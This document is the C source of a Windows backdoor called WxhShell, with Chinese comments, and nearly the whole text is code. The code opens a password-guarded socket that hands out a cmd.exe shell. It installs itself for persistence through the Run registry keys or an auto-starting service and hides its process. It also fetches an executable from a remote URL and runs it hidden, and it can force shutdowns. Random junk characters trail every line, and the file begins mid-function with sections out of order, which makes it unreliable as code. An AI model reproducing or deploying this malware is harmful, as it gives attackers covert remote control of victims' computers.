    if(Boot(SHUTDOWN)) h-+GS%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~f5g\n;  
    else { 'vc>uY  
    closesocket(wsh); io^ L[  
    ExitThread(0); 75?z" i  
    } H\!p%Y  
    break; m.EIMuj  
    } dw"{inMf  
  // 获取shell rwh,RI) )g  
  case 's': {  5i|DJ6  
    CmdShell(wsh); H4{CiZ  
    closesocket(wsh); ZA{T0:  
    ExitThread(0); <]e0TU?bk  
    break; }{#ty uzAo  
  } 4/:}K>S_  
  // 退出 vWpoaz/w  
  case 'x': { e$=UA%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H)VzPe#{  
    CloseIt(wsh); NuQ l  
    break; uS}qy-8J  
    } @})]4H  
  // 离开 ;2\+O"}4H  
  case 'q': { /.m &rS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6! .nj3$*  
    closesocket(wsh); HJ^SqSm  
    WSACleanup(); >A_:q yGk  
    exit(1); 1 |T{RY5  
    break; jPc"qER!  
        } {Z!x]}{M  
  } pS6p}S=1]  
  } 9hn+eU  
ExKjH*gn  
  // 提示信息 8DLj?M>N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5%)<e-  
} HmQ.'  
  } qGVf! R  
_'Rzu'$`  
  return; %8hjMds  
} 05PRlz *x=  
P~d&PhOe  
// shell模块句柄 x4=Sm0Ro|V  
int CmdShell(SOCKET sock) *3Qwmom  
{ oQ:.pq{T  
STARTUPINFO si; su\iUi  
ZeroMemory(&si,sizeof(si)); ;%W]b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YkuFt>U9,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7G]v(ay  
PROCESS_INFORMATION ProcessInfo; m]Gxep0%  
char cmdline[]="cmd"; 4#"_E:;PQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HY!R|  
  return 0; $LkTu  
} 734f &2  
0s'h2={iI  
// 自身启动模式 }"x#uG  
int StartFromService(void) ]:_s7v  
{ 8Z[YcLy"({  
typedef struct `WRM7  
{ $s.:H4:I  
  DWORD ExitStatus; h'm-]v  
  DWORD PebBaseAddress; ;vuqI5k  
  DWORD AffinityMask; ,$A'Y  
  DWORD BasePriority; {a9( Qi  
  ULONG UniqueProcessId; ' Ih f|;r  
  ULONG InheritedFromUniqueProcessId; ='G-wX&k  
}   PROCESS_BASIC_INFORMATION; 3LW_qX  
0aM&+j\q}  
PROCNTQSIP NtQueryInformationProcess; ^I y'G44  
ATzFs]~K;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dn1Fwy.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?%A9}"q]  
;Y9-0W  
  HANDLE             hProcess; ?[VL 2dP0  
  PROCESS_BASIC_INFORMATION pbi; MP_LdJM1E  
[L ?^+p>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {16]8-pe  
  if(NULL == hInst ) return 0; R(AS$<p{!>  
h ]6: `5-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H~:EPFi.(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N5d)&a 7?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gzd<D}2F~  
Kg6[  
  if (!NtQueryInformationProcess) return 0; e%_J O7  
OaeX:r+&Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f>hA+  
  if(!hProcess) return 0; *hvC0U@3  
F?+\J =LT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i@m@]-2  
H ]z83:Z  
  CloseHandle(hProcess); "K c/Cs2[  
3ZUME\U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q,m+W='  
if(hProcess==NULL) return 0; lx\9Y8  
q5xF~SQGw2  
HMODULE hMod; Us2IeR  
char procName[255]; >r\q6f#J4  
unsigned long cbNeeded; `F`{s`E)  
L6x;<gj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )lZoXt_3  
Y?v{V>;*A  
  CloseHandle(hProcess);  <BiSx  
V| &->9"  
if(strstr(procName,"services")) return 1; // 以服务启动 !9t,#?!  
WCD)yTg:ES  
  return 0; // 注册表启动 z50P* eS  
} 2!Qg1hM  
Xti.yQx\  
// 主模块 iY*fp=c9  
int StartWxhshell(LPSTR lpCmdLine) Y*/e;mG.  
{ LU $=j  
  SOCKET wsl; b.j$Gna>Q  
BOOL val=TRUE; dym K@  
  int port=0; }0V aZ<j  
  struct sockaddr_in door; 4w5);x.  
#w@V!o  
  if(wscfg.ws_autoins) Install(); Qo~|[]GE  
J'C9}7G  
port=atoi(lpCmdLine); ;-AC}jG  
t>! Ok  
if(port<=0) port=wscfg.ws_port; 46##(4RF  
tj4/x7!  
  WSADATA data; 3O*^[$vM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &u2H^ j  
x n=#4:f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ykYef  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B~B,L*kC2  
  door.sin_family = AF_INET; 0b G#'.-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7 !dj&?  
  door.sin_port = htons(port); m6uFmU*<M}  
*#9?9SYSk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [Ob09#B%:5  
closesocket(wsl); ^r~O*  
return 1; "H#pN;)+   
} 5.$/]2VK  
@jCMQYR  
  if(listen(wsl,2) == INVALID_SOCKET) { !bs5w_@  
closesocket(wsl); mw&'@M_(7  
return 1; {T-=&%||  
} B$M4f7  
  Wxhshell(wsl); 6UI6E)g  
  WSACleanup(); A0,h 7<i  
a<J< Oc!  
return 0; ]nNn"_qh  
21O@yNpS$  
} V :/v r  
,rV;T";r  
// 以NT服务方式启动 }9kn;rb$g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >n3ig~0d  
{ p:V1VHT,  
DWORD   status = 0; M`n0 q y  
  DWORD   specificError = 0xfffffff; }kG>6_p?  
Rl&nR$#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tOX -vQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,xg-H6Xfa{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T|,/C|L  
  serviceStatus.dwWin32ExitCode     = 0; %l?*w~x  
  serviceStatus.dwServiceSpecificExitCode = 0; $*`E;}S0  
  serviceStatus.dwCheckPoint       = 0; &NOCRabc  
  serviceStatus.dwWaitHint       = 0; @?>5~  
 W_6gV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %l,CJd5  
  if (hServiceStatusHandle==0) return; 7K ~)7U  
pk`5RDBu  
status = GetLastError(); 6LrI,d  
  if (status!=NO_ERROR) *R}p9;dpO  
{ ]ddH>y&o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d3\KUR^  
    serviceStatus.dwCheckPoint       = 0; r KYQ 8T  
    serviceStatus.dwWaitHint       = 0; &@FufpPw/  
    serviceStatus.dwWin32ExitCode     = status; lL'Bop@  
    serviceStatus.dwServiceSpecificExitCode = specificError; qI>,PX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ht#,v5oG>f  
    return; EeH ghq  
  } @Ko#nDEq  
-/ G#ls|?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `n@;%*6/  
  serviceStatus.dwCheckPoint       = 0; hXvC>ie(i  
  serviceStatus.dwWaitHint       = 0; cc3/XBo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w/:ibG@  
} T(,@]=d,DD  
V>`9ey!U  
// 处理NT服务事件,比如:启动、停止 5 `@yX[G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3,EtyJ3[Bh  
{ n a*Z0y  
switch(fdwControl) \TYVAt] ?  
{ _DAqL@5n  
case SERVICE_CONTROL_STOP: &*bpEdkZ  
  serviceStatus.dwWin32ExitCode = 0; 65nK1W`i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J\>/ J%  
  serviceStatus.dwCheckPoint   = 0; nBLb1T  
  serviceStatus.dwWaitHint     = 0; ej7L-~lxQ  
  { zKI1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n1aOpz6`  
  } dd6%3L{cn  
  return; \%B7M]P  
case SERVICE_CONTROL_PAUSE: qQIX:HWDKZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8)M WC:  
  break; !@*= b1  
case SERVICE_CONTROL_CONTINUE: {6%-/$LX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; scTt53v^  
  break; kGL3*x  
case SERVICE_CONTROL_INTERROGATE: 'MW O3  
  break; |tU wlc>  
}; rxs:)# ?A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f3 imkZ(  
} _0ZU I^#  
k)[c!\a[i  
// 标准应用程序主函数 R<vbhB/lU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GHo mk##0E  
{ u/NcX  
B~M6l7^?  
// 获取操作系统版本 _k;HhLj`  
OsIsNt=GetOsVer(); 2G<XA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sn^M[}we  
t BG 9Mn  
  // 从命令行安装 ;JMmr-@  
  if(strpbrk(lpCmdLine,"iI")) Install(); cnRgzj<ek  
k2.k}?w!JO  
  // 下载执行文件 L4ct2|w}ul  
if(wscfg.ws_downexe) { 2kk; z0f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +md"X@k5*  
  WinExec(wscfg.ws_filenam,SW_HIDE); <:&{c-f/  
} FUZuS!sJ  
h(GSM'v  
if(!OsIsNt) { $~j9{*]5  
// 如果时win9x,隐藏进程并且设置为注册表启动 IxG7eX!  
HideProc(); )/Gi-::  
StartWxhshell(lpCmdLine); O<$j}?2  
} =q|//*t2  
else ; xQhq*  
  if(StartFromService()) n ywC]T  
  // 以服务方式启动 ep0dT3&  
  StartServiceCtrlDispatcher(DispatchTable); <r(D\rmD  
else :6&#u.\u  
  // 普通方式启动 AX'-}5T=  
  StartWxhshell(lpCmdLine); L "'d(MD  
!N_eZPU.v  
return 0; (i?9/8I  
} 9Zmq7a E  
|7Ab_  
9]lyV  
A_e5Vb ,u.  
=========================================== EcSu[b  
(uy\~Zb  
&Nw|(z&$  
bE@Eiac  
.TDg`O24c,  
YXh!+}  
" Eau V  
+?[s"(  
#include <stdio.h> )>^Ge9d]  
#include <string.h> C N}0( 2n  
#include <windows.h> ?A24h !7  
#include <winsock2.h> F\ GNLi  
#include <winsvc.h> -N6ek`  
#include <urlmon.h> B52dZb  
d0f(Uk  
#pragma comment (lib, "Ws2_32.lib") L@_o*"&j  
#pragma comment (lib, "urlmon.lib") PfB9 .f{  
*~*"p)`<  
#define MAX_USER   100 // 最大客户端连接数 |5&7;;$  
#define BUF_SOCK   200 // sock buffer tfh`gUV 4  
#define KEY_BUFF   255 // 输入 buffer *UXa.kT@  
`s3:Vsv4  
#define REBOOT     0   // 重启 !&`\MD>;~R  
#define SHUTDOWN   1   // 关机 l<<9H-O  
/[ft{:#&t  
#define DEF_PORT   5000 // 监听端口 z]LVq k  
0I do_V  
#define REG_LEN     16   // 注册表键长度 dTlEEgR  
#define SVC_LEN     80   // NT服务名长度 jxt]Z3a~0  
CC'N"Xb  
// 从dll定义API GU9p'E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cS2]?zI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ly R<cd$W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1mR@Bh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fF=tT C  
]{#Xcqx  
// wxhshell配置信息 ?YDMl  
struct WSCFG { ]scr@e  
  int ws_port;         // 监听端口 'A\0^EvVv  
  char ws_passstr[REG_LEN]; // 口令 O*B9 Bah  
  int ws_autoins;       // 安装标记, 1=yes 0=no Snp(&TD<<  
  char ws_regname[REG_LEN]; // 注册表键名 ~V?\@R:g  
  char ws_svcname[REG_LEN]; // 服务名 }<w9Jfr"X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %qqeL   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tB4yj_ZF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,^<39ng  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^gNbcWc7CU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~?)y'?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AMO{ee7Po  
L|1~'Fz#w  
}; yS[HYq  
Ij XxH]2  
// default Wxhshell configuration ,_D@ggL-  
struct WSCFG wscfg={DEF_PORT, B<$6Dj%L  
    "xuhuanlingzhe", -%K}~4J  
    1, &%k_BdlkQ  
    "Wxhshell", St> E\tXp  
    "Wxhshell", L `=*Pwcj  
            "WxhShell Service", Tu,nX'q]m  
    "Wrsky Windows CmdShell Service", V`YmGo  
    "Please Input Your Password: ", #J8(*!I  
  1, N=~DSsw  
  "http://www.wrsky.com/wxhshell.exe", BO6XY90(  
  "Wxhshell.exe" e 0Z2B2  
    }; D~`RLPMk  
nPl,qcyY  
// 消息定义模块 ?P#\ CW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %|f@WxNrU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~x@V"rxGw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F[F  NtZ  
char *msg_ws_ext="\n\rExit."; 0;*[}M]Z  
char *msg_ws_end="\n\rQuit."; /q7$"wP  
char *msg_ws_boot="\n\rReboot..."; >?G!>kw  
char *msg_ws_poff="\n\rShutdown..."; f8UO`*O  
char *msg_ws_down="\n\rSave to "; lL5*l,)To  
5$X 8|Ve  
char *msg_ws_err="\n\rErr!"; q./jYe  
char *msg_ws_ok="\n\rOK!"; *A")A.R  
9;`hJ!r  
char ExeFile[MAX_PATH]; XaoVv2=G~  
int nUser = 0; %\)AT"  
HANDLE handles[MAX_USER]; }g|9P SbJ  
int OsIsNt; / T_v8 {D  
O`N,aYo  
SERVICE_STATUS       serviceStatus; EaH/Gg3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :!fY;c?  
1]A\@(  
// 函数声明 "d M-3o<  
int Install(void); |<y1<O>F  
int Uninstall(void); [(.lfa P  
int DownloadFile(char *sURL, SOCKET wsh); f'`y-]"V5)  
int Boot(int flag); 6@FxPi9|#  
void HideProc(void); k)8*d{*  
int GetOsVer(void); Yfs eX;VX  
int Wxhshell(SOCKET wsl); )|5mW  
void TalkWithClient(void *cs); D4$"02"  
int CmdShell(SOCKET sock); WU.eeiX  
int StartFromService(void); l <Z7bo  
int StartWxhshell(LPSTR lpCmdLine); r&:yZN  
62G %.'7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RQ#9[6w!v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iV\*7  
Gf9O\wrs  
// 数据结构和表定义 W3^^aD-  
SERVICE_TABLE_ENTRY DispatchTable[] = o"A?Aq  
{ Fta=yH }  
{wscfg.ws_svcname, NTServiceMain}, o>m*e7l,  
{NULL, NULL} %N\8!aXnf  
}; ) :Px`] 5  
f'qM?GlET  
// 自我安装 _(8N*q*w  
int Install(void) RmO kb~  
{ uBC#4cX`D*  
  char svExeFile[MAX_PATH]; 1Vz3N/AP%?  
  HKEY key; [i> D|X  
  strcpy(svExeFile,ExeFile); Eq8:[o  
E(f|LG[I  
// 如果是win9x系统,修改注册表设为自启动 ?[DVYP  
if(!OsIsNt) { ]!/R tt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Il?$Kb/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c`\qupnY  
  RegCloseKey(key); }wJH@'0+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1:u~T@;" `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 60D6UW  
  RegCloseKey(key); 1&Mpx!K*T  
  return 0; a\B?J  
    } 5B3sRF}  
  } Tq6\oIBkV  
} y"K[#&,0  
else { li#ep?5h^  
gnf4H V~  
// 如果是NT以上系统,安装为系统服务 ZK<c(,oZ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SWT)M1O2  
if (schSCManager!=0) \vpX6!T  
{ VmXXj6l&  
  SC_HANDLE schService = CreateService >]Dn,*R  
  ( N,F[x0&?  
  schSCManager, 5UG"i_TC  
  wscfg.ws_svcname, (tiE%nF+  
  wscfg.ws_svcdisp, 6.|[;>Km  
  SERVICE_ALL_ACCESS, uE.. 1N&*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NZ+TTMv  
  SERVICE_AUTO_START, "od 2i\  
  SERVICE_ERROR_NORMAL, =t|,6Vp  
  svExeFile, 7dR]$ ~+*e  
  NULL, I y5)SZ'  
  NULL, \"Qa)1 |  
  NULL, uOh  
  NULL, LF+E5{=:R  
  NULL a?X@ D<.;  
  ); V%`\x\Xat  
  if (schService!=0) Ac}5,  
  { H}8kku>7  
  CloseServiceHandle(schService); ]7q|) S\  
  CloseServiceHandle(schSCManager); EK\xc'6M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `@So6%3Y|  
  strcat(svExeFile,wscfg.ws_svcname); ws$kwSHq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xA0=C   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m;U_oxb  
  RegCloseKey(key); UunZ/A$]m  
  return 0; w ,0OO f  
    } 3k/X;:,.  
  } i nk !>Z  
  CloseServiceHandle(schSCManager); dChMjaix  
} B& 5Md.h  
} u!t<2`:h  
Xs~IoU  
return 1; }yd!UU  
} 1`~.!yd8(  
J M;WCV%NM  
// 自我卸载 F^?DnZs  
int Uninstall(void) oS<*\!&D  
{ m+x$LkP  
  HKEY key; [&lH[:Y#  
o;OEb  
if(!OsIsNt) { >^ E*7Bfp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n-OQCz9Xl  
  RegDeleteValue(key,wscfg.ws_regname); m<J:6^H@  
  RegCloseKey(key); *0_Q0SeE,o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Dx p  
  RegDeleteValue(key,wscfg.ws_regname); VWk{?*Dp  
  RegCloseKey(key); f`[E^ zj  
  return 0; iAt&927  
  } p ^)3p5w  
} q-/t?m0  
} t"vkd  
else { oA;ZDO06r  
1=PTiDMJ<*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tCv}+7)   
if (schSCManager!=0) S.?DR3XLc  
{ %{? 9#))  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )kYDN_W  
  if (schService!=0) Xwd9-:  
  { [* |+ it+!  
  if(DeleteService(schService)!=0) { }-T,cA_H|  
  CloseServiceHandle(schService); q RRvZhf  
  CloseServiceHandle(schSCManager); VuD{t%Jb  
  return 0; :4r*Jju<V  
  } AP ]`'C  
  CloseServiceHandle(schService); P#[?Kfi  
  } >.uIp4@(  
  CloseServiceHandle(schSCManager); bas1(/|S  
} /0XmU@B  
} wR"17z7[]  
)^ PWr^  
return 1; I ^[[*Bh*C  
} $<3^( y  
,}NTV ~  
// 从指定url下载文件 -wh  
int DownloadFile(char *sURL, SOCKET wsh) Zg|l:^E  
{ 4zZ.v"laVM  
  HRESULT hr; x~](d8*=  
char seps[]= "/"; Vd'=Fe;eB  
char *token; Xv+,Z<>iQ  
char *file; D2RvFlAXu  
char myURL[MAX_PATH]; `]a0z|2'!  
char myFILE[MAX_PATH]; aj<r=  
PZI6{KOis  
strcpy(myURL,sURL); jsP+,brO  
  token=strtok(myURL,seps); cM]ZYi  
  while(token!=NULL) m|v$F,Lv  
  { 8Y:x+v5  
    file=token; }T}xVd0  
  token=strtok(NULL,seps); (O& HCT|  
  } !lBK!'0  
7}`FXB  
GetCurrentDirectory(MAX_PATH,myFILE); Fh/sD?  
strcat(myFILE, "\\"); [2!C ^ \t  
strcat(myFILE, file); xqQK-?k  
  send(wsh,myFILE,strlen(myFILE),0); T2Yc` +  
send(wsh,"...",3,0); ph~BxK )i6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l hST%3Ld  
  if(hr==S_OK) +,j6dYub  
return 0; IR8yE`(h  
else 7y_<BCx h  
return 1; \ _?d?:#RD  
T1'\!6_5  
} 5=R]1YI~$  
 GInw7  
// 系统电源模块 Q 9E.AN  
int Boot(int flag) {d.K)8\  
{ 9!.S9[[N  
  HANDLE hToken; ~wO-Hgd  
  TOKEN_PRIVILEGES tkp; dnh~An 9  
Wfy+9"-;s  
  if(OsIsNt) { 7k00lKA\w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @uanej0q7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |*Oi:)qt  
    tkp.PrivilegeCount = 1; p7HLSB2Rp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U+C ^"[B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :}-?X\|\  
if(flag==REBOOT) { {WQ6=wGpS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vKfjP_0$  
  return 0; lS#^v#uS  
} -!K&\hEjj  
else { k|{ 4"4r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %jHe_8=o  
  return 0; 1U?5/Ja  
} H!>>|6OPF  
  } v["_t/_  
  else { !~V^GlY  
if(flag==REBOOT) { \ FJ ae  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c _!!DEe7  
  return 0; ;--D?Gs]Qr  
} >(.Y%$9"E  
else { 7 |GSs=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qw>vu7/z  
  return 0; "h|kf% W  
} \A)Pcc}7  
} ` U-vXP  
 m]H]0T  
return 1; |o'r?"  
} Zxozhmg  
ZOpKi:\  
// win9x进程隐藏模块 2e03m62*  
void HideProc(void) ,eWLig  
{  1'F!C  
@^o7UzS4z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i"pOYZW1  
  if ( hKernel != NULL ) 7_jlNr7uk  
  { eTay/i<-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7[!dm_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~qIr'?D  
    FreeLibrary(hKernel); f^ZhFu?  
  } pM}~/  
Bf6i{`!G  
return; OiS\tK?|GV  
} 0s\ -iub=d  
oZ^,*  
// 获取操作系统版本 /+8VW;4|I  
int GetOsVer(void) KY%{'"'u  
{ 6 jm@`pYbE  
  OSVERSIONINFO winfo; f re5{=@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pLys%1hg  
  GetVersionEx(&winfo); /J&ks>St  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *N }$~N  
  return 1; Nh}u]<B  
  else V!>j: "  
  return 0; 9v?@2sOoE  
} !2^~ar{2  
1[$zdv{A  
// 客户端句柄模块 W0Y ,3;0  
int Wxhshell(SOCKET wsl) 5jUy[w @  
{ D$*o}*mb  
  SOCKET wsh; w7&.U qjf  
  struct sockaddr_in client; WglpWp)  
  DWORD myID; &%;n 9K  
o*ucw3s>  
  while(nUser<MAX_USER) iz{TSU  
{ e9tb]sAG  
  int nSize=sizeof(client); 1 ltW9^cF}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p>#q* eU5  
  if(wsh==INVALID_SOCKET) return 1; hUuKkUR+Ir  
}`%ks  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 57 Bx-  
if(handles[nUser]==0) K=nDC.  
  closesocket(wsh); fOME&$=O  
else YbnXAi\y|  
  nUser++; Px Gw5:  
  } 9+xO2n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VJFFH\!`  
r| )45@  
  return 0; +8x_f0 <  
} DvB{N`COd  
'$EyVu!  
// 关闭 socket XgM&0lVT  
void CloseIt(SOCKET wsh) E`<ou_0N@q  
{ {K6Z.-.`  
closesocket(wsh); R/*"N'nH-%  
nUser--; Cb`,N  
ExitThread(0); ~G-W|>  
} 9 wbQ$>G9  
0fn*;f8{XJ  
// 客户端请求句柄 MGxkqy?  
void TalkWithClient(void *cs) OP"_I!t  
{ 2|d^#8)ZC  
F&m9G >r  
  SOCKET wsh=(SOCKET)cs; WSN^iDS  
  char pwd[SVC_LEN]; 0NKgtH~+  
  char cmd[KEY_BUFF]; q\|RI;W  
char chr[1]; x[&<e<6  
int i,j; iyd$_CJz  
N)AlQ'Lwx  
  while (nUser < MAX_USER) { VZ =:`)  
\E<Qi3W>*  
if(wscfg.ws_passstr) { i/H;4#Bz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gmgri   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >]xW{71F@  
  //ZeroMemory(pwd,KEY_BUFF); hITYBPqRO  
      i=0; 1 ] cLbJ  
  while(i<SVC_LEN) { 0I<L<^s3^U  
R=<::2_Y96  
  // 设置超时 s2wDJ|  
  fd_set FdRead; #D|%r-:"  
  struct timeval TimeOut; DR:DXJc  
  FD_ZERO(&FdRead); B RskxyL&,  
  FD_SET(wsh,&FdRead); ;1 {=t!z=  
  TimeOut.tv_sec=8; UnP<`z#  
  TimeOut.tv_usec=0; (GC5r#AnS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V$O6m|q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 80'@+AD  
X0-PJ-\aD@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >u(^v@Ejf  
  pwd=chr[0]; J:gC1g^  
  if(chr[0]==0xd || chr[0]==0xa) { ;UM(y@  
  pwd=0; L8!yP.3   
  break; 9H/R@i[E  
  } 6)ln,{  
  i++; wet[f{c  
    } kGo2R]Dd[  
_$5DK%M}  
  // 如果是非法用户,关闭 socket w,vnpdT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .UQ|k,,t  
} doHE]gC2Uz  
qe&B$3D|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _*%K!%}l=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !4=_l6kg~+  
2[uFAgf@  
while(1) { REE .8_  
!ehjLFS?_  
  ZeroMemory(cmd,KEY_BUFF); 1iLo$  
2,`X@N`\  
      // 自动支持客户端 telnet标准   $fT5Vc]B4  
  j=0; f\_PNZCc  
  while(j<KEY_BUFF) { qlYi:uygY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O6)Po  
  cmd[j]=chr[0]; .m l\z5  
  if(chr[0]==0xa || chr[0]==0xd) { KsE$^`  
  cmd[j]=0; oe2*$\?.  
  break; u_ l?d  
  } gh\u@#$8  
  j++; ,=4,eCS  
    } Z|Rc54Ct  
s(5hFuyg  
  // 下载文件 ;CF:cH*  
  if(strstr(cmd,"http://")) { *pSnEWwE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g3&nxZ  
  if(DownloadFile(cmd,wsh)) :q*w_*w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K8MET&  
  else o5DT1>h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jOrfI-&.G  
  } ?O#,{ZZf=  
